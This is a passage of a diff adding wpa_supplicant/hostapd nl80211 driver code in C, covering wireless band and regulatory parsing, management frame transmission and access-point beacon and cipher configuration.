(phy_info->last_mode != nl_band->nla_type) { + mode = os_realloc_array(phy_info->modes, + *phy_info->num_modes + 1, + sizeof(*mode)); + if (!mode) + return NL_SKIP; + phy_info->modes = mode; + + mode = &phy_info->modes[*(phy_info->num_modes)]; + os_memset(mode, 0, sizeof(*mode)); + mode->mode = NUM_HOSTAPD_MODES; + mode->flags = HOSTAPD_MODE_FLAG_HT_INFO_KNOWN | + HOSTAPD_MODE_FLAG_VHT_INFO_KNOWN; + + /* + * Unsupported VHT MCS stream is defined as value 3, so the VHT + * MCS RX/TX map must be initialized with 0xffff to mark all 8 + * possible streams as unsupported. This will be overridden if + * driver advertises VHT support. + */ + mode->vht_mcs_set[0] = 0xff; + mode->vht_mcs_set[1] = 0xff; + mode->vht_mcs_set[4] = 0xff; + mode->vht_mcs_set[5] = 0xff; + + *(phy_info->num_modes) += 1; + phy_info->last_mode = nl_band->nla_type; + phy_info->last_chan_idx = 0; + } else + mode = &phy_info->modes[*(phy_info->num_modes) - 1]; + + nla_parse(tb_band, NL80211_BAND_ATTR_MAX, nla_data(nl_band), + nla_len(nl_band), NULL); + + phy_info_ht_capa(mode, tb_band[NL80211_BAND_ATTR_HT_CAPA], + tb_band[NL80211_BAND_ATTR_HT_AMPDU_FACTOR], + tb_band[NL80211_BAND_ATTR_HT_AMPDU_DENSITY], + tb_band[NL80211_BAND_ATTR_HT_MCS_SET]); + phy_info_vht_capa(mode, tb_band[NL80211_BAND_ATTR_VHT_CAPA], + tb_band[NL80211_BAND_ATTR_VHT_MCS_SET]); + ret = phy_info_freqs(phy_info, mode, tb_band[NL80211_BAND_ATTR_FREQS]); + if (ret != NL_OK) + return ret; + ret = phy_info_rates(mode, tb_band[NL80211_BAND_ATTR_RATES]); + if (ret != NL_OK) + return ret; + + return NL_OK; +} + + +static int phy_info_handler(struct nl_msg *msg, void *arg) +{ + struct nlattr *tb_msg[NL80211_ATTR_MAX + 1]; + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + struct phy_info_arg *phy_info = arg; + struct nlattr *nl_band; + int rem_band; + + nla_parse(tb_msg, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + + if (!tb_msg[NL80211_ATTR_WIPHY_BANDS]) + return NL_SKIP; + + nla_for_each_nested(nl_band, tb_msg[NL80211_ATTR_WIPHY_BANDS], rem_band) + { + int res = phy_info_band(phy_info, nl_band); + if (res != NL_OK) + return res; + } + + return NL_SKIP; +} + + +static struct hostapd_hw_modes * +wpa_driver_nl80211_postprocess_modes(struct hostapd_hw_modes *modes, + u16 *num_modes) +{ + u16 m; + struct hostapd_hw_modes *mode11g = NULL, *nmodes, *mode; + int i, mode11g_idx = -1; + + /* heuristic to set up modes */ + for (m = 0; m < *num_modes; m++) { + if (!modes[m].num_channels) + continue; + if (modes[m].channels[0].freq < 4000) { + modes[m].mode = HOSTAPD_MODE_IEEE80211B; + for (i = 0; i < modes[m].num_rates; i++) { + if (modes[m].rates[i] > 200) { + modes[m].mode = HOSTAPD_MODE_IEEE80211G; + break; + } + } + } else if (modes[m].channels[0].freq > 50000) + modes[m].mode = HOSTAPD_MODE_IEEE80211AD; + else + modes[m].mode = HOSTAPD_MODE_IEEE80211A; + } + + /* If only 802.11g mode is included, use it to construct matching + * 802.11b mode data. */ + + for (m = 0; m < *num_modes; m++) { + if (modes[m].mode == HOSTAPD_MODE_IEEE80211B) + return modes; /* 802.11b already included */ + if (modes[m].mode == HOSTAPD_MODE_IEEE80211G) + mode11g_idx = m; + } + + if (mode11g_idx < 0) + return modes; /* 2.4 GHz band not supported at all */ + + nmodes = os_realloc_array(modes, *num_modes + 1, sizeof(*nmodes)); + if (nmodes == NULL) + return modes; /* Could not add 802.11b mode */ + + mode = &nmodes[*num_modes]; + os_memset(mode, 0, sizeof(*mode)); + (*num_modes)++; + modes = nmodes; + + mode->mode = HOSTAPD_MODE_IEEE80211B; + + mode11g = &modes[mode11g_idx]; + mode->num_channels = mode11g->num_channels; + mode->channels = os_malloc(mode11g->num_channels * + sizeof(struct hostapd_channel_data)); + if (mode->channels == NULL) { + (*num_modes)--; + return modes; /* Could not add 802.11b mode */ + } + os_memcpy(mode->channels, mode11g->channels, + mode11g->num_channels * sizeof(struct hostapd_channel_data)); + + mode->num_rates = 0; + mode->rates = os_malloc(4 * sizeof(int)); + if (mode->rates == NULL) { + os_free(mode->channels); + (*num_modes)--; + return modes; /* Could not add 802.11b mode */ + } + + for (i = 0; i < mode11g->num_rates; i++) { + if (mode11g->rates[i] != 10 && mode11g->rates[i] != 20 && + mode11g->rates[i] != 55 && mode11g->rates[i] != 110) + continue; + mode->rates[mode->num_rates] = mode11g->rates[i]; + mode->num_rates++; + if (mode->num_rates == 4) + break; + } + + if (mode->num_rates == 0) { + os_free(mode->channels); + os_free(mode->rates); + (*num_modes)--; + return modes; /* No 802.11b rates */ + } + + wpa_printf(MSG_DEBUG, "nl80211: Added 802.11b mode based on 802.11g " + "information"); + + return modes; +} + + +static void nl80211_set_ht40_mode(struct hostapd_hw_modes *mode, int start, + int end) +{ + int c; + + for (c = 0; c < mode->num_channels; c++) { + struct hostapd_channel_data *chan = &mode->channels[c]; + if (chan->freq - 10 >= start && chan->freq + 10 <= end) + chan->flag |= HOSTAPD_CHAN_HT40; + } +} + + +static void nl80211_set_ht40_mode_sec(struct hostapd_hw_modes *mode, int start, + int end) +{ + int c; + + for (c = 0; c < mode->num_channels; c++) { + struct hostapd_channel_data *chan = &mode->channels[c]; + if (!(chan->flag & HOSTAPD_CHAN_HT40)) + continue; + if (chan->freq - 30 >= start && chan->freq - 10 <= end) + chan->flag |= HOSTAPD_CHAN_HT40MINUS; + if (chan->freq + 10 >= start && chan->freq + 30 <= end) + chan->flag |= HOSTAPD_CHAN_HT40PLUS; + } +} + + +static void nl80211_reg_rule_max_eirp(struct nlattr *tb[], + struct phy_info_arg *results) +{ + u32 start, end, max_eirp; + u16 m; + + if (tb[NL80211_ATTR_FREQ_RANGE_START] == NULL || + tb[NL80211_ATTR_FREQ_RANGE_END] == NULL || + tb[NL80211_ATTR_POWER_RULE_MAX_EIRP] == NULL) + return; + + start = nla_get_u32(tb[NL80211_ATTR_FREQ_RANGE_START]) / 1000; + end = nla_get_u32(tb[NL80211_ATTR_FREQ_RANGE_END]) / 1000; + max_eirp = nla_get_u32(tb[NL80211_ATTR_POWER_RULE_MAX_EIRP]) / 100; + + wpa_printf(MSG_DEBUG, "nl80211: %u-%u @ %u mBm", + start, end, max_eirp); + + for (m = 0; m < *results->num_modes; m++) { + int c; + struct hostapd_hw_modes *mode = &results->modes[m]; + + for (c = 0; c < mode->num_channels; c++) { + struct hostapd_channel_data *chan = &mode->channels[c]; + if ((u32) chan->freq - 10 >= start && + (u32) chan->freq + 10 <= end) + chan->max_tx_power = max_eirp; + } + } +} + + +static void nl80211_reg_rule_ht40(struct nlattr *tb[], + struct phy_info_arg *results) +{ + u32 start, end, max_bw; + u16 m; + + if (tb[NL80211_ATTR_FREQ_RANGE_START] == NULL || + tb[NL80211_ATTR_FREQ_RANGE_END] == NULL || + tb[NL80211_ATTR_FREQ_RANGE_MAX_BW] == NULL) + return; + + start = nla_get_u32(tb[NL80211_ATTR_FREQ_RANGE_START]) / 1000; + end = nla_get_u32(tb[NL80211_ATTR_FREQ_RANGE_END]) / 1000; + max_bw = nla_get_u32(tb[NL80211_ATTR_FREQ_RANGE_MAX_BW]) / 1000; + + wpa_printf(MSG_DEBUG, "nl80211: %u-%u @ %u MHz", + start, end, max_bw); + if (max_bw < 40) + return; + + for (m = 0; m < *results->num_modes; m++) { + if (!(results->modes[m].ht_capab & + HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET)) + continue; + nl80211_set_ht40_mode(&results->modes[m], start, end); + } +} + + +static void nl80211_reg_rule_sec(struct nlattr *tb[], + struct phy_info_arg *results) +{ + u32 start, end, max_bw; + u16 m; + + if (tb[NL80211_ATTR_FREQ_RANGE_START] == NULL || + tb[NL80211_ATTR_FREQ_RANGE_END] == NULL || + tb[NL80211_ATTR_FREQ_RANGE_MAX_BW] == NULL) + return; + + start = nla_get_u32(tb[NL80211_ATTR_FREQ_RANGE_START]) / 1000; + end = nla_get_u32(tb[NL80211_ATTR_FREQ_RANGE_END]) / 1000; + max_bw = nla_get_u32(tb[NL80211_ATTR_FREQ_RANGE_MAX_BW]) / 1000; + + if (max_bw < 20) + return; + + for (m = 0; m < *results->num_modes; m++) { + if (!(results->modes[m].ht_capab & + HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET)) + continue; + nl80211_set_ht40_mode_sec(&results->modes[m], start, end); + } +} + + +static void nl80211_set_vht_mode(struct hostapd_hw_modes *mode, int start, + int end) +{ + int c; + + for (c = 0; c < mode->num_channels; c++) { + struct hostapd_channel_data *chan = &mode->channels[c]; + if (chan->freq - 10 >= start && chan->freq + 70 <= end) + chan->flag |= HOSTAPD_CHAN_VHT_10_70; + + if (chan->freq - 30 >= start && chan->freq + 50 <= end) + chan->flag |= HOSTAPD_CHAN_VHT_30_50; + + if (chan->freq - 50 >= start && chan->freq + 30 <= end) + chan->flag |= HOSTAPD_CHAN_VHT_50_30; + + if (chan->freq - 70 >= start && chan->freq + 10 <= end) + chan->flag |= HOSTAPD_CHAN_VHT_70_10; + } +} + + +static void nl80211_reg_rule_vht(struct nlattr *tb[], + struct phy_info_arg *results) +{ + u32 start, end, max_bw; + u16 m; + + if (tb[NL80211_ATTR_FREQ_RANGE_START] == NULL || + tb[NL80211_ATTR_FREQ_RANGE_END] == NULL || + tb[NL80211_ATTR_FREQ_RANGE_MAX_BW] == NULL) + return; + + start = nla_get_u32(tb[NL80211_ATTR_FREQ_RANGE_START]) / 1000; + end = nla_get_u32(tb[NL80211_ATTR_FREQ_RANGE_END]) / 1000; + max_bw = nla_get_u32(tb[NL80211_ATTR_FREQ_RANGE_MAX_BW]) / 1000; + + if (max_bw < 80) + return; + + for (m = 0; m < *results->num_modes; m++) { + if (!(results->modes[m].ht_capab & + HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET)) + continue; + /* TODO: use a real VHT support indication */ + if (!results->modes[m].vht_capab) + continue; + + nl80211_set_vht_mode(&results->modes[m], start, end); + } +} + + +static int nl80211_get_reg(struct nl_msg *msg, void *arg) +{ + struct phy_info_arg *results = arg; + struct nlattr *tb_msg[NL80211_ATTR_MAX + 1]; + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + struct nlattr *nl_rule; + struct nlattr *tb_rule[NL80211_FREQUENCY_ATTR_MAX + 1]; + int rem_rule; + static struct nla_policy reg_policy[NL80211_FREQUENCY_ATTR_MAX + 1] = { + [NL80211_ATTR_REG_RULE_FLAGS] = { .type = NLA_U32 }, + [NL80211_ATTR_FREQ_RANGE_START] = { .type = NLA_U32 }, + [NL80211_ATTR_FREQ_RANGE_END] = { .type = NLA_U32 }, + [NL80211_ATTR_FREQ_RANGE_MAX_BW] = { .type = NLA_U32 }, + [NL80211_ATTR_POWER_RULE_MAX_ANT_GAIN] = { .type = NLA_U32 }, + [NL80211_ATTR_POWER_RULE_MAX_EIRP] = { .type = NLA_U32 }, + }; + + nla_parse(tb_msg, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + if (!tb_msg[NL80211_ATTR_REG_ALPHA2] || + !tb_msg[NL80211_ATTR_REG_RULES]) { + wpa_printf(MSG_DEBUG, "nl80211: No regulatory information " + "available"); + return NL_SKIP; + } + + wpa_printf(MSG_DEBUG, "nl80211: Regulatory information - country=%s", + (char *) nla_data(tb_msg[NL80211_ATTR_REG_ALPHA2])); + + nla_for_each_nested(nl_rule, tb_msg[NL80211_ATTR_REG_RULES], rem_rule) + { + nla_parse(tb_rule, NL80211_FREQUENCY_ATTR_MAX, + nla_data(nl_rule), nla_len(nl_rule), reg_policy); + nl80211_reg_rule_ht40(tb_rule, results); + nl80211_reg_rule_max_eirp(tb_rule, results); + } + + nla_for_each_nested(nl_rule, tb_msg[NL80211_ATTR_REG_RULES], rem_rule) + { + nla_parse(tb_rule, NL80211_FREQUENCY_ATTR_MAX, + nla_data(nl_rule), nla_len(nl_rule), reg_policy); + nl80211_reg_rule_sec(tb_rule, results); + } + + nla_for_each_nested(nl_rule, tb_msg[NL80211_ATTR_REG_RULES], rem_rule) + { + nla_parse(tb_rule, NL80211_FREQUENCY_ATTR_MAX, + nla_data(nl_rule), nla_len(nl_rule), reg_policy); + nl80211_reg_rule_vht(tb_rule, results); + } + + return NL_SKIP; +} + + +static int nl80211_set_regulatory_flags(struct wpa_driver_nl80211_data *drv, + struct phy_info_arg *results) +{ + struct nl_msg *msg; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_GET_REG); + return send_and_recv_msgs(drv, msg, nl80211_get_reg, results); +} + + +static struct hostapd_hw_modes * +wpa_driver_nl80211_get_hw_feature_data(void *priv, u16 *num_modes, u16 *flags) +{ + u32 feat; + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + struct phy_info_arg result = { + .num_modes = num_modes, + .modes = NULL, + .last_mode = -1, + }; + + *num_modes = 0; + *flags = 0; + + msg = nlmsg_alloc(); + if (!msg) + return NULL; + + feat = get_nl80211_protocol_features(drv); + if (feat & NL80211_PROTOCOL_FEATURE_SPLIT_WIPHY_DUMP) + nl80211_cmd(drv, msg, NLM_F_DUMP, NL80211_CMD_GET_WIPHY); + else + nl80211_cmd(drv, msg, 0, NL80211_CMD_GET_WIPHY); + + NLA_PUT_FLAG(msg, NL80211_ATTR_SPLIT_WIPHY_DUMP); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + + if (send_and_recv_msgs(drv, msg, phy_info_handler, &result) == 0) { + nl80211_set_regulatory_flags(drv, &result); + return wpa_driver_nl80211_postprocess_modes(result.modes, + num_modes); + } + msg = NULL; + nla_put_failure: + nlmsg_free(msg); + return NULL; +} + + +static int wpa_driver_nl80211_send_mntr(struct wpa_driver_nl80211_data *drv, + const void *data, size_t len, + int encrypt, int noack) +{ + __u8 rtap_hdr[] = { + 0x00, 0x00, /* radiotap version */ + 0x0e, 0x00, /* radiotap length */ + 0x02, 0xc0, 0x00, 0x00, /* bmap: flags, tx and rx flags */ + IEEE80211_RADIOTAP_F_FRAG, /* F_FRAG (fragment if required) */ + 0x00, /* padding */ + 0x00, 0x00, /* RX and TX flags to indicate that */ + 0x00, 0x00, /* this is the injected frame directly */ + }; + struct iovec iov[2] = { + { + .iov_base = &rtap_hdr, + .iov_len = sizeof(rtap_hdr), + }, + { + .iov_base = (void *) data, + .iov_len = len, + } + }; + struct msghdr msg = { + .msg_name = NULL, + .msg_namelen = 0, + .msg_iov = iov, + .msg_iovlen = 2, + .msg_control = NULL, + .msg_controllen = 0, + .msg_flags = 0, + }; + int res; + u16 txflags = 0; + + if (encrypt) + rtap_hdr[8] |= IEEE80211_RADIOTAP_F_WEP; + + if (drv->monitor_sock < 0) { + wpa_printf(MSG_DEBUG, "nl80211: No monitor socket available " + "for %s", __func__); + return -1; + } + + if (noack) + txflags |= IEEE80211_RADIOTAP_F_TX_NOACK; + WPA_PUT_LE16(&rtap_hdr[12], txflags); + + res = sendmsg(drv->monitor_sock, &msg, 0); + if (res < 0) { + wpa_printf(MSG_INFO, "nl80211: sendmsg: %s", strerror(errno)); + return -1; + } + return 0; +} + + +static int wpa_driver_nl80211_send_frame(struct i802_bss *bss, + const void *data, size_t len, + int encrypt, int noack, + unsigned int freq, int no_cck, + int offchanok, unsigned int wait_time) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + u64 cookie; + int res; + + if (freq == 0) { + wpa_printf(MSG_DEBUG, "nl80211: send_frame - Use bss->freq=%u", + bss->freq); + freq = bss->freq; + } + + if (drv->use_monitor) { + wpa_printf(MSG_DEBUG, "nl80211: send_frame(freq=%u bss->freq=%u) -> send_mntr", + freq, bss->freq); + return wpa_driver_nl80211_send_mntr(drv, data, len, + encrypt, noack); + } + + wpa_printf(MSG_DEBUG, "nl80211: send_frame -> send_frame_cmd"); + res = nl80211_send_frame_cmd(bss, freq, wait_time, data, len, + &cookie, no_cck, noack, offchanok); + if (res == 0 && !noack) { + const struct ieee80211_mgmt *mgmt; + u16 fc; + + mgmt = (const struct ieee80211_mgmt *) data; + fc = le_to_host16(mgmt->frame_control); + if (WLAN_FC_GET_TYPE(fc) == WLAN_FC_TYPE_MGMT && + WLAN_FC_GET_STYPE(fc) == WLAN_FC_STYPE_ACTION) { + wpa_printf(MSG_MSGDUMP, + "nl80211: Update send_action_cookie from 0x%llx to 0x%llx", + (long long unsigned int) + drv->send_action_cookie, + (long long unsigned int) cookie); + drv->send_action_cookie = cookie; + } + } + + return res; +} + + +static int wpa_driver_nl80211_send_mlme(struct i802_bss *bss, const u8 *data, + size_t data_len, int noack, + unsigned int freq, int no_cck, + int offchanok, + unsigned int wait_time) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + struct ieee80211_mgmt *mgmt; + int encrypt = 1; + u16 fc; + + mgmt = (struct ieee80211_mgmt *) data; + fc = le_to_host16(mgmt->frame_control); + wpa_printf(MSG_DEBUG, "nl80211: send_mlme - noack=%d freq=%u no_cck=%d offchanok=%d wait_time=%u fc=0x%x nlmode=%d", + noack, freq, no_cck, offchanok, wait_time, fc, drv->nlmode); + + if ((is_sta_interface(drv->nlmode) || + drv->nlmode == NL80211_IFTYPE_P2P_DEVICE) && + WLAN_FC_GET_TYPE(fc) == WLAN_FC_TYPE_MGMT && + WLAN_FC_GET_STYPE(fc) == WLAN_FC_STYPE_PROBE_RESP) { + /* + * The use of last_mgmt_freq is a bit of a hack, + * but it works due to the single-threaded nature + * of wpa_supplicant. + */ + if (freq == 0) { + wpa_printf(MSG_DEBUG, "nl80211: Use last_mgmt_freq=%d", + drv->last_mgmt_freq); + freq = drv->last_mgmt_freq; + } + return nl80211_send_frame_cmd(bss, freq, 0, + data, data_len, NULL, 1, noack, + 1); + } + + if (drv->device_ap_sme && is_ap_interface(drv->nlmode)) { + if (freq == 0) { + wpa_printf(MSG_DEBUG, "nl80211: Use bss->freq=%d", + bss->freq); + freq = bss->freq; + } + return nl80211_send_frame_cmd(bss, freq, + (int) freq == bss->freq ? 0 : + wait_time, + data, data_len, + &drv->send_action_cookie, + no_cck, noack, offchanok); + } + + if (WLAN_FC_GET_TYPE(fc) == WLAN_FC_TYPE_MGMT && + WLAN_FC_GET_STYPE(fc) == WLAN_FC_STYPE_AUTH) { + /* + * Only one of the authentication frame types is encrypted. + * In order for static WEP encryption to work properly (i.e., + * to not encrypt the frame), we need to tell mac80211 about + * the frames that must not be encrypted. + */ + u16 auth_alg = le_to_host16(mgmt->u.auth.auth_alg); + u16 auth_trans = le_to_host16(mgmt->u.auth.auth_transaction); + if (auth_alg != WLAN_AUTH_SHARED_KEY || auth_trans != 3) + encrypt = 0; + } + + wpa_printf(MSG_DEBUG, "nl80211: send_mlme -> send_frame"); + return wpa_driver_nl80211_send_frame(bss, data, data_len, encrypt, + noack, freq, no_cck, offchanok, + wait_time); +} + + +static int nl80211_set_bss(struct i802_bss *bss, int cts, int preamble, + int slot, int ht_opmode, int ap_isolate, + int *basic_rates) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_SET_BSS); + + if (cts >= 0) + NLA_PUT_U8(msg, NL80211_ATTR_BSS_CTS_PROT, cts); + if (preamble >= 0) + NLA_PUT_U8(msg, NL80211_ATTR_BSS_SHORT_PREAMBLE, preamble); + if (slot >= 0) + NLA_PUT_U8(msg, NL80211_ATTR_BSS_SHORT_SLOT_TIME, slot); + if (ht_opmode >= 0) + NLA_PUT_U16(msg, NL80211_ATTR_BSS_HT_OPMODE, ht_opmode); + if (ap_isolate >= 0) + NLA_PUT_U8(msg, NL80211_ATTR_AP_ISOLATE, ap_isolate); + + if (basic_rates) { + u8 rates[NL80211_MAX_SUPP_RATES]; + u8 rates_len = 0; + int i; + + for (i = 0; i < NL80211_MAX_SUPP_RATES && basic_rates[i] >= 0; + i++) + rates[rates_len++] = basic_rates[i] / 5; + + NLA_PUT(msg, NL80211_ATTR_BSS_BASIC_RATES, rates_len, rates); + } + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, if_nametoindex(bss->ifname)); + + return send_and_recv_msgs(drv, msg, NULL, NULL); + nla_put_failure: + nlmsg_free(msg); + return -ENOBUFS; +} + + +static int wpa_driver_nl80211_set_acl(void *priv, + struct hostapd_acl_params *params) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + struct nlattr *acl; + unsigned int i; + int ret = 0; + + if (!(drv->capa.max_acl_mac_addrs)) + return -ENOTSUP; + + if (params->num_mac_acl > drv->capa.max_acl_mac_addrs) + return -ENOTSUP; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + wpa_printf(MSG_DEBUG, "nl80211: Set %s ACL (num_mac_acl=%u)", + params->acl_policy ? "Accept" : "Deny", params->num_mac_acl); + + nl80211_cmd(drv, msg, 0, NL80211_CMD_SET_MAC_ACL); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + + NLA_PUT_U32(msg, NL80211_ATTR_ACL_POLICY, params->acl_policy ? + NL80211_ACL_POLICY_DENY_UNLESS_LISTED : + NL80211_ACL_POLICY_ACCEPT_UNLESS_LISTED); + + acl = nla_nest_start(msg, NL80211_ATTR_MAC_ADDRS); + if (acl == NULL) + goto nla_put_failure; + + for (i = 0; i < params->num_mac_acl; i++) + NLA_PUT(msg, i + 1, ETH_ALEN, params->mac_acl[i].addr); + + nla_nest_end(msg, acl); + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + if (ret) { + wpa_printf(MSG_DEBUG, "nl80211: Failed to set MAC ACL: %d (%s)", + ret, strerror(-ret)); + } + +nla_put_failure: + nlmsg_free(msg); + + return ret; +} + + +static int wpa_driver_nl80211_set_ap(void *priv, + struct wpa_driver_ap_params *params) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + u8 cmd = NL80211_CMD_NEW_BEACON; + int ret; + int beacon_set; + int ifindex = if_nametoindex(bss->ifname); + int num_suites; + u32 suites[10]; + u32 ver; + + beacon_set = bss->beacon_set; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + wpa_printf(MSG_DEBUG, "nl80211: Set beacon (beacon_set=%d)", + beacon_set); + if (beacon_set) + cmd = NL80211_CMD_SET_BEACON; + + nl80211_cmd(drv, msg, 0, cmd); + wpa_hexdump(MSG_DEBUG, "nl80211: Beacon head", + params->head, params->head_len); + NLA_PUT(msg, NL80211_ATTR_BEACON_HEAD, params->head_len, params->head); + wpa_hexdump(MSG_DEBUG, "nl80211: Beacon tail", + params->tail, params->tail_len); + NLA_PUT(msg, NL80211_ATTR_BEACON_TAIL, params->tail_len, params->tail); + wpa_printf(MSG_DEBUG, "nl80211: ifindex=%d", ifindex); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, ifindex); + wpa_printf(MSG_DEBUG, "nl80211: beacon_int=%d", params->beacon_int); + NLA_PUT_U32(msg, NL80211_ATTR_BEACON_INTERVAL, params->beacon_int); + wpa_printf(MSG_DEBUG, "nl80211: dtim_period=%d", params->dtim_period); + NLA_PUT_U32(msg, NL80211_ATTR_DTIM_PERIOD, params->dtim_period); + wpa_hexdump_ascii(MSG_DEBUG, "nl80211: ssid", + params->ssid, params->ssid_len); + NLA_PUT(msg, NL80211_ATTR_SSID, params->ssid_len, + params->ssid); + if (params->proberesp && params->proberesp_len) { + wpa_hexdump(MSG_DEBUG, "nl80211: proberesp (offload)", + params->proberesp, params->proberesp_len); + NLA_PUT(msg, NL80211_ATTR_PROBE_RESP, params->proberesp_len, + params->proberesp); + } + switch (params->hide_ssid) { + case NO_SSID_HIDING: + wpa_printf(MSG_DEBUG, "nl80211: hidden SSID not in use"); + NLA_PUT_U32(msg, NL80211_ATTR_HIDDEN_SSID, + NL80211_HIDDEN_SSID_NOT_IN_USE); + break; + case HIDDEN_SSID_ZERO_LEN: + wpa_printf(MSG_DEBUG, "nl80211: hidden SSID zero len"); + NLA_PUT_U32(msg, NL80211_ATTR_HIDDEN_SSID, + NL80211_HIDDEN_SSID_ZERO_LEN); + break; + case HIDDEN_SSID_ZERO_CONTENTS: + wpa_printf(MSG_DEBUG, "nl80211: hidden SSID zero contents"); + NLA_PUT_U32(msg, NL80211_ATTR_HIDDEN_SSID, + NL80211_HIDDEN_SSID_ZERO_CONTENTS); + break; + } + wpa_printf(MSG_DEBUG, "nl80211: privacy=%d", params->privacy); + if (params->privacy) + NLA_PUT_FLAG(msg, NL80211_ATTR_PRIVACY); + wpa_printf(MSG_DEBUG, "nl80211: auth_algs=0x%x", params->auth_algs); + if ((params->auth_algs & (WPA_AUTH_ALG_OPEN | WPA_AUTH_ALG_SHARED)) == + (WPA_AUTH_ALG_OPEN | WPA_AUTH_ALG_SHARED)) { + /* Leave out the attribute */ + } else if (params->auth_algs & WPA_AUTH_ALG_SHARED) + NLA_PUT_U32(msg, NL80211_ATTR_AUTH_TYPE, + NL80211_AUTHTYPE_SHARED_KEY); + else + NLA_PUT_U32(msg, NL80211_ATTR_AUTH_TYPE, + NL80211_AUTHTYPE_OPEN_SYSTEM); + + wpa_printf(MSG_DEBUG, "nl80211: wpa_version=0x%x", params->wpa_version); + ver = 0; + if (params->wpa_version & WPA_PROTO_WPA) + ver |= NL80211_WPA_VERSION_1; + if (params->wpa_version & WPA_PROTO_RSN) + ver |= NL80211_WPA_VERSION_2; + if (ver) + NLA_PUT_U32(msg, NL80211_ATTR_WPA_VERSIONS, ver); + + wpa_printf(MSG_DEBUG, "nl80211: key_mgmt_suites=0x%x", + params->key_mgmt_suites); + num_suites = 0; + if (params->key_mgmt_suites & WPA_KEY_MGMT_IEEE8021X) + suites[num_suites++] = WLAN_AKM_SUITE_8021X; + if (params->key_mgmt_suites & WPA_KEY_MGMT_PSK) + suites[num_suites++] = WLAN_AKM_SUITE_PSK; + if (num_suites) { + NLA_PUT(msg, NL80211_ATTR_AKM_SUITES, + num_suites * sizeof(u32), suites); + } + + if (params->key_mgmt_suites & WPA_KEY_MGMT_IEEE8021X && + params->pairwise_ciphers & (WPA_CIPHER_WEP104 | WPA_CIPHER_WEP40)) + NLA_PUT_FLAG(msg, NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT); + + wpa_printf(MSG_DEBUG, "nl80211: pairwise_ciphers=0x%x", + params->pairwise_ciphers); + num_suites = 0; + if (params->pairwise_ciphers & WPA_CIPHER_CCMP) + suites[num_suites++] = WLAN_CIPHER_SUITE_CCMP; + if (params->pairwise_ciphers & WPA_CIPHER_GCMP) + suites[num_suites++] = WLAN_CIPHER_SUITE_GCMP; + if (params->pairwise_ciphers & WPA_CIPHER_TKIP) + suites[num_suites++] = WLAN_CIPHER_SUITE_TKIP; + if (params->pairwise_ciphers & WPA_CIPHER_WEP104) + suites[num_suites++] = WLAN_CIPHER_SUITE_WEP104; + if (params->pairwise_ciphers & WPA_CIPHER_WEP40) + suites[num_suites++] = WLAN_CIPHER_SUITE_WEP40; + if (num_suites) { + NLA_PUT(msg, NL80211_ATTR_CIPHER_SUITES_PAIRWISE, + num_suites * sizeof(u32), suites); + } + + wpa_printf(MSG_DEBUG, "nl80211: group_cipher=0x%x", + params->group_cipher); + switch (params->group_cipher) { + case WPA_CIPHER_CCMP: + NLA_PUT_U32(msg, NL80211_ATTR_CIPHER_SUITE_GROUP, + WLAN_CIPHER_SUITE_CCMP); + break; + case WPA_CIPHER_GCMP: + NLA_PUT_U32(msg, NL80211_ATTR_CIPHER_SUITE_GROUP, + WLAN_CIPHER_SUITE_GCMP); + break; + case WPA_CIPHER_TKIP: + NLA_PUT_U32(msg, NL80211_ATTR_CIPHER_SUITE_GROUP, + WLAN_CIPHER_SUITE_TKIP); + break; + case WPA_CIPHER_WEP104: + NLA_PUT_U32(msg, NL80211_ATTR_CIPHER_SUITE_GROUP, + WLAN_CIPHER_SUITE_WEP104); + break; + case WPA_CIPHER_WEP40: + NLA_PUT_U32(msg, NL80211_ATTR_CIPHER_SUITE_GROUP, + WLAN_CIPHER_SUITE_WEP40); + break; + } + + if (params->beacon_ies) { + wpa_hexdump_buf(MSG_DEBUG, "nl80211: beacon_ies", + params->beacon_ies); + NLA_PUT(msg, NL80211_ATTR_IE, wpabuf_len(params->beacon_ies), + wpabuf_head(params->beacon_ies)); + } + if (params->proberesp_ies) { + wpa_hexdump_buf(MSG_DEBUG, "nl80211: proberesp_ies", + params->proberesp_ies); + NLA_PUT(msg, NL80211_ATTR_IE_PROBE_RESP, + wpabuf_len(params->proberesp_ies), + wpabuf_head(params->proberesp_ies)); + } + if (params->assocresp_ies) { + wpa_hexdump_buf(MSG_DEBUG, "nl80211: assocresp_ies", + params->assocresp_ies); + NLA_PUT(msg, NL80211_ATTR_IE_ASSOC_RESP, + wpabuf_len(params->assocresp_ies), + wpabuf_head(params->assocresp_ies)); + } + + if (drv->capa.flags & WPA_DRIVER_FLAGS_INACTIVITY_TIMER) { + wpa_printf(MSG_DEBUG, "nl80211: ap_max_inactivity=%d", + params->ap_max_inactivity); + NLA_PUT_U16(msg, NL80211_ATTR_INACTIVITY_TIMEOUT, + params->ap_max_inactivity); + } + + ret = send_and_recv_msgs(drv, msg, 